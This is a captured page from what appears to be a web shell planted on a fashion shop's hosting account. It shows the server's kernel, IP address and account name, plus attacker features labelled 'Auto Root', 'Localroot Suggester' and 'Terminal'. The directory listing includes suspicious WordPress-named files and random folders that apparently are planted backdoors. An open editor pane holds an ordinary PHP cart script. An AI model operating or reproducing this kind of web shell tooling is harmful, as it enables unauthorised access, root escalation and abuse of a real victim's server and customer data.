Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
public_html /
Delete
Unzip
Name
Size
Permission
Date
Action
.well-known
[ DIR ]
drwxr-xr-x
2025-12-16 06:37
400128
[ DIR ]
drwxr-xr-x
2025-12-22 01:59
admin
[ DIR ]
drwxr-xr-x
2025-12-18 07:34
assets
[ DIR ]
drwxr-xr-x
2025-12-18 07:34
c048716d
[ DIR ]
drwxr-xr-x
2025-12-18 07:34
d40b4
[ DIR ]
drwxr-xr-x
2025-12-18 07:34
oishi_shop
[ DIR ]
drwxr-xr-x
2025-12-18 07:34
.htaccess
498
B
-rw-r--r--
2025-12-22 01:59
_footer.php
1.04
KB
-rw-r--r--
2025-08-14 05:52
_header.php
1.39
KB
-rw-r--r--
2025-08-14 05:34
cart.php
2.99
KB
-rw-r--r--
2025-08-13 23:10
config.php
719
B
-rw-r--r--
2025-08-14 05:43
db.php
326
B
-rw-r--r--
2025-08-13 23:10
error_log
130.29
KB
-rw-r--r--
2025-12-18 09:04
functions.php
893
B
-rw-r--r--
2025-08-13 23:10
google529f143b8ae8a1d2.html
53
B
-rw-r--r--
2021-10-18 04:39
index.php
3.61
KB
-rw-r--r--
2025-12-17 19:02
oishi_fashion_php_starter.zip
15.03
KB
-rw-r--r--
2025-08-14 05:26
product.php
1.7
KB
-rw-r--r--
2025-08-13 23:10
schema.sql
946
B
-rw-r--r--
2025-08-13 23:10
wp-blog-header.php
2.74
KB
-rw-r--r--
2025-12-18 07:34
wp-cron.php
2.74
KB
-rw-r--r--
2025-12-18 07:34
Save
Rename
<?php require_once __DIR__ . '/functions.php'; if (!isset($_SESSION['cart'])) $_SESSION['cart'] = []; $action = $_POST['action'] ?? $_GET['action'] ?? ''; if ($action === 'add') { $id = (int)($_POST['id'] ?? 0); $qty = max(1, (int)($_POST['qty'] ?? 1)); $_SESSION['cart'][$id] = ($_SESSION['cart'][$id] ?? 0) + $qty; header('Location: cart.php'); exit; } if ($action === 'update') { foreach ($_POST['qty'] ?? [] as $id => $q) { $id = (int)$id; $q = (int)$q; if ($q <= 0) unset($_SESSION['cart'][$id]); else $_SESSION['cart'][$id] = $q; } } if ($action === 'remove') { $id = (int)($_GET['id'] ?? 0); unset($_SESSION['cart'][$id]); header('Location: cart.php'); exit; } $items = []; $total = 0; foreach ($_SESSION['cart'] as $pid => $q) { $p = product_get((int)$pid); if ($p) { $p['qty'] = $q; $p['line'] = $p['price'] * $q; $items[] = $p; $total += $p['line']; } } ?> <?php include __DIR__ . '/_header.php'; ?> <section class="py-10"> <div class="max-w-6xl mx-auto px-4"> <h1 class="text-2xl md:text-3xl font-bold">Your Cart</h1> <form method="post" action="cart.php" class="mt-6"> <input type="hidden" name="action" value="update"> <div class="bg-white rounded-2xl overflow-hidden shadow-soft"> <table class="w-full"> <thead class="bg-gray-100 text-left text-sm"> <tr> <th class="p-3">Product</th> <th class="p-3">Price</th> <th class="p-3">Qty</th> <th class="p-3">Total</th> <th class="p-3"></th> </tr> </thead> <tbody> <?php foreach ($items as $it): ?> <tr class="border-t"> <td class="p-3"><?= e($it['name']) ?></td> <td class="p-3"><?= money($it['price']) ?></td> <td class="p-3"><input type="number" name="qty[<?= (int)$it['id'] ?>]" min="0" value="<?= (int)$it['qty'] ?>" class="w-20 border border-gray-300 rounded-lg px-3 py-1"></td> <td class="p-3"><?= money($it['line']) ?></td> <td class="p-3"><a class="text-red-600" href="cart.php?action=remove&id=<?= (int)$it['id'] ?>">Remove</a></td> </tr> <?php endforeach; ?> <?php if (empty($items)): ?> <tr><td colspan="5" class="p-6 text-center text-gray-600">Your cart is empty.</td></tr> <?php endif; ?> </tbody> </table> </div> <div class="mt-4 flex items-center justify-between"> <div class="text-xl font-semibold">Subtotal: <?= money($total) ?></div> <div class="flex items-center gap-3"> <a href="index.php" class="px-4 py-2 rounded-xl border">Continue Shopping</a> <button class="px-4 py-2 rounded-xl bg-black text-white">Update Cart</button> <a href="checkout.php" class="px-4 py-2 rounded-xl bg-gray-900 text-white">Proceed to Checkout</a> </div> </div> </form> </div> </section> <?php include __DIR__ . '/_footer.php'; ?>